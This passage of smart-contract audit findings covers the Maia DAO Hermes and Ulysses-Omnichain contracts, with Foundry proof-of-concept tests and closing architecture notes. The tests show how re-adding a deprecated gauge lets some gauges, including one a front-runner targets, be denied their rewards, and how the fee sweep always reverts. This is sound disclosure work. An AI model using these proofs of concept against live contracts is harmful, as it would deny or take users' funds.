            toChain:toChain
        });

        return input;

    }

Tools Used

Manual inspection

Recommendation

Enforce more strict checks around input param validation on bridging multiple tokens.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L174-L181 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/erc-20/ERC20Gauges.sol#L407-L422 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/rewards/rewards/FlywheelGaugeRewards.sol#L72-L104

Vulnerability details

Impact

One or more gauge will remain without rewards. Malicious user can DOS a selected gauge from receiving rewards.

Proof of Concept

When a gauge is deprecated its weight is subtracted from totalWeight , however, the weight of the gauge itself could remain different from 0 (it’s up to the users to remove their votes). That’s reflected in _addGauge().

function _addGauge(address gauge) internal returns (uint112 weight) {
        // some code ... 

        // Check if some previous weight exists and re-add to the total. Gauge and user weights are preserved.
        weight = _getGaugeWeight[gauge].currentWeight;
        if (weight > 0) {
            _writeGaugeWeight(_totalWeight, _add112, weight, currentCycle);
        }

        emit AddGauge(gauge);
    }

When addGauge(...) is invoked to re-add a gauge that was previously deprecated and still contains votes - _writeGaugeWeight(...) is called to add the gauge’s weight to totalWeight . When the write operation to totalWeight is performed during a new cycle but before updatePeriod or queueRewardsForCycle() are called we will have

totalWeight.storedWeight = currentWeight (the weight before update) ,

totalWeight.currentWeight = newWeight (the new weight) &

totalWeight.currentCycle = cycle (the updated new cycle)

The problem is that when now queueRewardsForCycle() is called and subsequently in the call chain calculateGaugeAllocation(...) is called which in turn will request the totalWeight through _getStoredWeight(_totalWeight, currentCycle) we will read the old totalWeight i.e totalWeight.storedWeight because totalWeight.currentCycle < currentCycle is false, because the cycle was already updated during the addGauge(...) call.

function _getStoredWeight(Weight storage gaugeWeight, uint32 currentCycle) internal view returns (uint112) {
        return gaugeWeight.currentCycle < currentCycle ? gaugeWeight.currentWeight : gaugeWeight.storedWeight;
    }

This will now cause a wrong calculation of the rewards since we have 1 extra gauge but the value of totalWeight is less than what it is in reality. Therefore the sum of the rewards among the gauges for the cycle will be more than the total sum allocated by the minter. In other words the function in the code snippet below will be called for every gauge including the re-added but total is less than what it has to be.

function calculateGaugeAllocation(address gauge, uint256 quantity) external view returns (uint256) {
        if (_deprecatedGauges.contains(gauge)) return 0;
        uint32 currentCycle = _getGaugeCycleEnd();

        uint112 total = _getStoredWeight(_totalWeight, currentCycle);
        uint112 weight = _getStoredWeight(_getGaugeWeight[gauge], currentCycle);
        return (quantity * weight) / total;
    }

This can now cause several areas of concern. First, in the presented scenario where a gauge is re-added with weight > 0 beforequeueRewardsForCycle(...), the last gauge (or perhaps the last few gauges, depends on the distribution of weight) among the active gauges that calls getAccruedRewards() won’t receive awards since there will be less rewards than what’s recorded in the gauge state. Second, in a scenario where we might have several gauges with a “whale” gauge that holds a majority of votes and therefore will have a large amount of rewards, a malicious actor can monitor for when a some gauge is re-added and frontrun getAccruedRewards() ,potentially through newEpoch() in BaseV2Gauge , for all gauges, except the “whale”, and achieving a DOS where the “whale” gauge won’t receive the rewards for the epoch and therefore the reputation of it will be damaged. This can be done for any gauge, but will have more significant impact in the case where a lot of voters are denied their awards.

Coded PoC

Scenario 1

Initialy there are 2 gauges with 75%/25% split of the votes. The gauge with 25% of the votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 25% gauge withdraws its rewards and the 75% gauge is bricked and can’t withdraw rewards.

Copy the functions testInitialGauge & testDeprecatedAddedGauge & helper_gauge_state in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol

Add import "lib/forge-std/src/console.sol"; to the imports

Execute with forge test --match-test testDeprecatedAddedGauge -vv

Result - gauge 2 will revert after trying to collect rewards after the 3rd cycle, since gauge 1 was readded before queuing rewards.

function testInitialGauge() public {
        uint256 amount_rewards;
        
        // rewards is 100e18

        // add 2 gauges, 25%/75% split
        gaugeToken.addGauge(gauge1);
        gaugeToken.addGauge(gauge2);
        gaugeToken.incrementGauge(gauge1, 1e18);
        gaugeToken.incrementGauge(gauge2, 3e18);
        
        console.log("--------------Initial gauge state--------------");
        helper_gauge_state();

        // do one normal cycle of rewards
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        
        console.log("--------------After 1st queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        helper_gauge_state();
        
        // collect awards
        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        hevm.prank(gauge2);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        helper_gauge_state();
    }

    function testDeprecatedAddedGauge() public {
        uint256 amount_rewards;
        // setup + 1 normal cycle
        testInitialGauge();
        // remove gauge
        gaugeToken.removeGauge(gauge1);

        // do one more normal cycle with only 1 gauge
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        console.log("--------------After 2nd queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        // examine state
        helper_gauge_state();

        hevm.prank(gauge2);
        rewards.getAccruedRewards();
        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

        // A new epoch can start for 1 more cycle
        hevm.warp(block.timestamp + 1000);
        
        // Add the gauge back, but before rewards are queued
        gaugeToken.addGauge(gauge1);
        amount_rewards = rewards.queueRewardsForCycle();

        console.log("--------------After 3rd queueRewardsForCycle state--------------");
        // examine state
        console.log('nextCycleQueuedRewards', amount_rewards);
        helper_gauge_state();

        // this is fine
        hevm.prank(gauge1);
        rewards.getAccruedRewards();

        // this reverts
        hevm.prank(gauge2);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

    }
function helper_gauge_state() public view {
        console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards)));
        console.log('gaugeCycle', rewards.gaugeCycle());
        address[] memory gs = gaugeToken.gauges();
        for(uint i=0; i<gs.length; i++) {
            console.log('-------------');
            (uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i]));
            console.log("Gauge ",i+1);
            console.log("priorRewards",prior1);
            console.log("cycleRewards",stored1); 
            console.log("storedCycle",cycle1);
        }
        console.log('-------------');
    }

Scenario 2

Initialy there are 4 gauges with (2e18 | 2e18 | 6e18 | 4e18) votes respectively. The gauge with 4e18 votes is removed for 1 cycle and then re-added during a new cycle but before queuing of the rewards. The 6e18 gauge withdraws its rewards and the 4e18 gauge withdraws its rewards, the two gauges with 2e18 votes are bricked and can’t withdraw rewards.

Copy the functions testInitialGauge2 & testDeprecatedAddedGauge2 & helper_gauge_state in /test/rewards/rewards/FlywheelGaugeRewardsTest.t.sol

Execute with forge test --match-test testDeprecatedAddedGauge2 -vv

Result - 2 gauges with 2e18 votes will revert after trying to collect rewards.

function testInitialGauge2() public {
        uint256 amount_rewards;
        
        // rewards is 100e18
        
        // add 4 gauges, 2x/2x/6x/4x split
        gaugeToken.addGauge(gauge1);
        gaugeToken.addGauge(gauge2);
        gaugeToken.addGauge(gauge3);
        gaugeToken.addGauge(gauge4);

        gaugeToken.incrementGauge(gauge1, 2e18);
        gaugeToken.incrementGauge(gauge2, 2e18);
        gaugeToken.incrementGauge(gauge3, 6e18);
        gaugeToken.incrementGauge(gauge4, 4e18);

        
        console.log("--------------Initial gauge state--------------");
        helper_gauge_state();

        // do one normal cycle of rewards
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        
        console.log("--------------After 1st queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        helper_gauge_state();
        
        // collect awards
        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        hevm.prank(gauge2);
        rewards.getAccruedRewards();
        hevm.prank(gauge3);
        rewards.getAccruedRewards();
        hevm.prank(gauge4);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        helper_gauge_state();
    }
    function testDeprecatedAddedGauge2() public {
        uint256 amount_rewards;
        // setup + 1 normal cycle
        testInitialGauge2();
        // remove gauge
        gaugeToken.removeGauge(gauge4);

        // do one more normal cycle with only 3 gauges
        hevm.warp(block.timestamp + 1000);
        amount_rewards = rewards.queueRewardsForCycle();
        console.log("--------------After 2nd queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        // examine state
        helper_gauge_state();

        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        hevm.prank(gauge2);
        rewards.getAccruedRewards();
        hevm.prank(gauge3);
        rewards.getAccruedRewards();
        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

        // A new epoch can start for 1 more cycle
        hevm.warp(block.timestamp + 1000);
        
        // Add the gauge back, but before rewards are queued
        gaugeToken.addGauge(gauge4);
        amount_rewards = rewards.queueRewardsForCycle();

        console.log("--------------After 3rd queueRewardsForCycle state--------------");
        console.log('nextCycleQueuedRewards', amount_rewards);
        // examine state
        helper_gauge_state();

        // this is fine
        hevm.prank(gauge3);
        rewards.getAccruedRewards();
        
        // this is fine
        hevm.prank(gauge4);
        rewards.getAccruedRewards();

        // this reverts
        hevm.prank(gauge1);
        rewards.getAccruedRewards();
        
        // this reverts, same weight as gauge 1
        hevm.prank(gauge2);
        rewards.getAccruedRewards();

        console.log("--------------After getAccruedRewards state--------------");
        // examine state
        helper_gauge_state();

    }
function helper_gauge_state() public view {
        console.log('FlywheelRewards balance', rewardToken.balanceOf(address(rewards)));
        console.log('gaugeCycle', rewards.gaugeCycle());
        address[] memory gs = gaugeToken.gauges();
        for(uint i=0; i<gs.length; i++) {
            console.log('-------------');
            (uint112 prior1, uint112 stored1, uint32 cycle1) = rewards.gaugeQueuedRewards(ERC20(gs[i]));
            console.log("Gauge ",i+1);
            console.log("priorRewards",prior1);
            console.log("cycleRewards",stored1); 
            console.log("storedCycle",cycle1);
        }
        console.log('-------------');
    }

Tools Used

Manual inspection

Recommendation

When a new cycle starts make sure gaguges are re-added after rewards are queued in a cycle.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L1259-L1264

Vulnerability details

Impact

Dao can’t withdraw accumulatedFees .

Proof of Concept

In RootBridgeAgent , _payExecutionGas() transfers funds for the gas used by anyExecute(...) as payment to Multichain, whatever is left is stored in accumulatedFees

function _payExecutionGas(uint128 _depositedGas, uint128 _gasToBridgeOut, uint256 _initialGas, uint24 _fromChain)
        internal
    {
        //reset initial remote execution gas and remote execution fee information
        delete(initialGas);
        delete(userFeeInfo);

        if (_fromChain == localChainId) return;

        //Get Available Gas
        uint256 availableGas = _depositedGas - _gasToBridgeOut;

        //Get Root Environment Execution Cost
        uint256 minExecCost = tx.gasprice * (MIN_EXECUTION_OVERHEAD + _initialGas - gasleft());
        
        //Check if sufficient balance
        if (minExecCost > availableGas) {
            _forceRevert();
            return;
        }
        console2.log("ROOT USED GAS", minExecCost);
        //Replenish Gas
        _replenishGas(minExecCost);
        
        //Account for excess gas
        accumulatedFees += availableGas - minExecCost;
      
    }

The problem is that at that point the denomination is WETH - as we can see in _replenishGas(...) that’s converted to ETH and sent. However the sweep() implementation doesn’t convert WETH to ETH, therefore, there will be insufficient amount of ETH and sweep() will always revert.

function sweep() external {
        if (msg.sender != daoAddress) revert NotDao();
        uint256 _accumulatedFees = accumulatedFees - 1;
        accumulatedFees = 1;
        SafeTransferLib.safeTransferETH(daoAddress, _accumulatedFees);
    }

Coded PoC

Copy the function testSweep() in test/ulysses-omnichain/RootTest.t.sol .

Execute with forge test --match-test testSweep -vv

Result - OutOfFund revert

function testSweep() public {

        testAddLocalTokenArbitrum();
        // Accumulate rewards in RootBridgeAgent
        address some_user = address(0xAAEE);
        hevm.deal(some_user, 1.5 ether);
				// Not a valid flag, MulticallRouter will return false, that's fine, we just want to credit some fees
        bytes memory empty_params = abi.encode(bytes1(0x00));
        hevm.prank(some_user);
        avaxMulticallBridgeAgent.callOut{value: 1.1 ether }(empty_params, 0);

        // This will revert
        hevm.prank(dao);
        multicallBridgeAgent.sweep();

    }

Tools Used

Manual inspection

Recommendation

Convert WETH to ETH in sweep().

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L119 https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L153

Vulnerability details

Impact

Users who use BoostAggregator will suffer 100% loss of their rewards.

Proof of Concept

After users have staked their tokens, the owner of the BoostAggregator can set protocolFee to 10 000 (100%) and steal of the users' rewards. Anyone can create their own BoostAggregator and it is supposed to be publicly used, therefore the owner of it cannot be considered trusted. Allowing the owner to steal users' rewards is an unnecessary vulnerability.

    function setProtocolFee(uint256 _protocolFee) external onlyOwner { 
        if (_protocolFee > DIVISIONER) revert FeeTooHigh();
        protocolFee = _protocolFee; // @audit - owner can set it to 100% and steal all rewards
    }

Tools Used

Manual review

Recommended Mitigation Steps

Create a mapping which tracks the protocolFee at which the user has deposited their NFT, upon withdrawing get the protocolFee from the said mapping.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L342 https://github.com/code-423n4/2023-05-maia/blob/main/src/uni-v3-staker/UniswapV3Staker.sol#L374

Vulnerability details

Impact

Restaking will not work as expected. People using BoostAggregator will have to unstake, withdraw, deposit again in order to restake their token.

Proof of Concept

    function restakeToken(uint256 tokenId) external {
        IncentiveKey storage incentiveId = stakedIncentiveKey[tokenId];
        if (incentiveId.startTime != 0) _unstakeToken(incentiveId, tokenId, true);  // @audit - boolean passed should be false, instead of true

        (IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint128 liquidity) =
            NFTPositionInfo.getPositionInfo(factory, nonfungiblePositionManager, tokenId);

        _stakeToken(tokenId, pool, tickLower, tickUpper, liquidity);
    }

_unstakeToken receives a boolean argument isNotRestake with the idea that if an incentive has ended, adversary can call restake on any token and stake it into the next incentive. The problem is that restakeToken passes true instead of false and corrupts the logic. Because of this, any users using BoostAggregator will have to unstake and withdraw their tokens and redeposit them into the UniswapV3Staker via the BoostAggregator, which is not only inconvenient, but also costs a lot of gas.

Tools Used

Manual review

Recommended Mitigation Steps

pass false as an argument in #L342

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-maia/blob/main/src/talos/boost-aggregator/BoostAggregator.sol#L118

Vulnerability details

Impact

Permanent loss of rewards

Proof of Concept

When calling unstakeAndWithdraw, there is an unnecessary check of pendingRewards > DIVISIONER. If pendingRewards < DIVISIONER, the rewards are not distributed, neither to the staker, nor the BoostAggregator. In fact, they stay within the BoostAggregator but are forever stuck and no one can claim them. This would especially be a problem when a user has numerous low-value NFTs/ has staked multiple NFTs for very little time.

    function unstakeAndWithdraw(uint256 tokenId) external {
        address user = tokenIdToUser[tokenId];
        if (user != msg.sender) revert NotTokenIdOwner();

        // unstake NFT from Uniswap V3 Staker
        uniswapV3Staker.unstakeToken(tokenId);

        uint256 pendingRewards = uniswapV3Staker.tokenIdRewards(tokenId) - tokenIdRewards[tokenId];

        if (pendingRewards > DIVISIONER) {     // @audit - unnecessary check leading to loss of funds
            uint256 newProtocolRewards = (pendingRewards * protocolFee) / DIVISIONER;
            /// @dev protocol rewards stay in stake contract
            protocolRewards += newProtocolRewards;
            pendingRewards -= newProtocolRewards;

            address rewardsDepot = userToRewardsDepot[user];
            if (rewardsDepot != address(0)) {
                // claim rewards to user's rewardsDepot
                uniswapV3Staker.claimReward(rewardsDepot, pendingRewards);
            } else {
                // claim rewards to user
                uniswapV3Staker.claimReward(user, pendingRewards);
            }
        }

        // withdraw rewards from Uniswap V3 Staker
        uniswapV3Staker.withdrawToken(tokenId, user, "");
    }

Tools Used

Manual review

Recommended Mitigation Steps

Still distribute the rewards, even if they're < DIVISIONER

Assessed type

Other

Hermes Analysis

Approach

The process of auditing the Hermes protocol started with a review of the tokens implementation and management contracts. This included a review of the ERC20 Boost, Gauge & Vote tokens, as well as the UtilityManagement contract. The team then proceeded to review the distribution of awards ("emissions") over new epochs contained within the "Flywheel" contracts. The final step involved reviewing the Uniswap Staker Incentive mechanics and the novel additions made by the developers.

Architecture

The architecture of the novel tokens is well-composed, with abstract contracts that are easy to follow. The developers took inspiration from OpenZeppelin's ERC20 Votes contract for the ERC20MultiVotes, and the novel contracts seem to follow the general idea and implementation with a few minor differences. However, the architecture of the rewards distribution part, i.e., the "Flywheel" contracts, was more challenging to grasp. There were some inconveniences, such as having two different contracts (one abstract and one implementation) with the same contract name "FlywheelCore", the naming of contracts was very similar to each other and overall a lack of well-structured documentation in that part of the project. Moreover, user entry points could be better defined. Lastly, the new Uniswap Staker contract follows the main functionality of the original one; however, there are notable differences considering access control.

Overall, the recommendation for the Hermes protocol would be to improve the naming of contracts, design high-level architecture resources such as diagrams, user and contract interaction flows from the perspective of different participants, and expand further on the documentation.

Centralization Risks

There is a substantial centralization risk due to the use of many onlyOwner modifiers. However, for a project of this size, it is hard to completely avoid them. If the developers follow a roadmap that steadily transfers the ownership to the DAO, then the centralization risks would be mitigated, and trust in the ecosystem would improve.

Testability

This is an area where we think the developers did an outstanding job. Although test coverage could be higher and include more complex scenarios, we found implementing PoCs extremely easy and trouble-free. This makes us believe that the testability of Hermes is flexible and would be easy to build on with more tests and end-to-end scenarios.

Omnichain Analysis

Approach

The process of auditing Ulysses-Omnichain started by creating and reviewing the architecture from a high-level perspective, using visualization tools. The audit continued with a thorough review of the contracts, starting with the Branch Chain contracts (Routers, BridgeAgent, BranchPort), followed by a review of the Root Chain contracts (Routers, RootBridgeAgent, RootPort, MulticallRouter), and the Arbitrum specific contracts. The provided test suite was extensively used both to gather more context on the system and to develop PoCs for any identified issues.

Architecture

The Omnichain system aims to implement cross-chain messaging and asset transfer, which is naturally a complex challenge and inherently requires complex code. The architecture is difficult to grasp, however, after thorough review, we conclude that it is of high enough quality to efficiently achieve the underlying task. The developers incorporate Multichain as the off-chain component that will transfer messages across different chains. Multichain is a robust and easy-to-integrate cross-chain messaging framework, and the developers have made a very informed choice here. The implementation of the Ports and BridgeAgents is of high quality. However, the Routers seem to contain functionality that needs to be extended by dApp developers. Moreover, some of the provided Router contracts had functions that weren't implemented (reverting by default), making it difficult to assess whether there could be potential issues arising from that. There are parts of the Root & Branch BridgeAgent’s implementation such as the anyExecute functions that are very long and complex that could benefit from extraction in another contract for better readability. Documentation should also be expanded upon and include high-level architecture resources such as diagrams, user & contract interaction flows from the perspective of different participants. Main area of concern that could contain more severe issues are gas payments.

Centralization Risks

The centralization risks mainly revolve around the deployed factories. To mitigate these risks and improve trust in the ecosystem, it is recommended that the developers follow a roadmap for gradually transferring ownership to the DAO.

Testability

While the test suite has some flaws, such as lengthy and hard-to-follow setup functions, and a lack of complex tests involving nested operations within the anyExecute call, the overall testability of the system is commendable. Once the setup is understood, experimenting, developing tests, and implementing PoCs become easy. The developers have provided a high-quality testing sandbox for implementing, testing, and expanding ideas.

Conclusion

In conclusion, the developers have done an excellent job of implementing an ecosystem that encompasses AMM, Rewards, Voting, Staking, and Cross-chain messaging. Conducting an audit significantly contributes to securing the project, but security in large codebases should be an ongoing process. It is highly recommended that the team continues to invest in security measures such as mitigation reviews, audits, and bug bounty programs to maintain the project's security and reliability.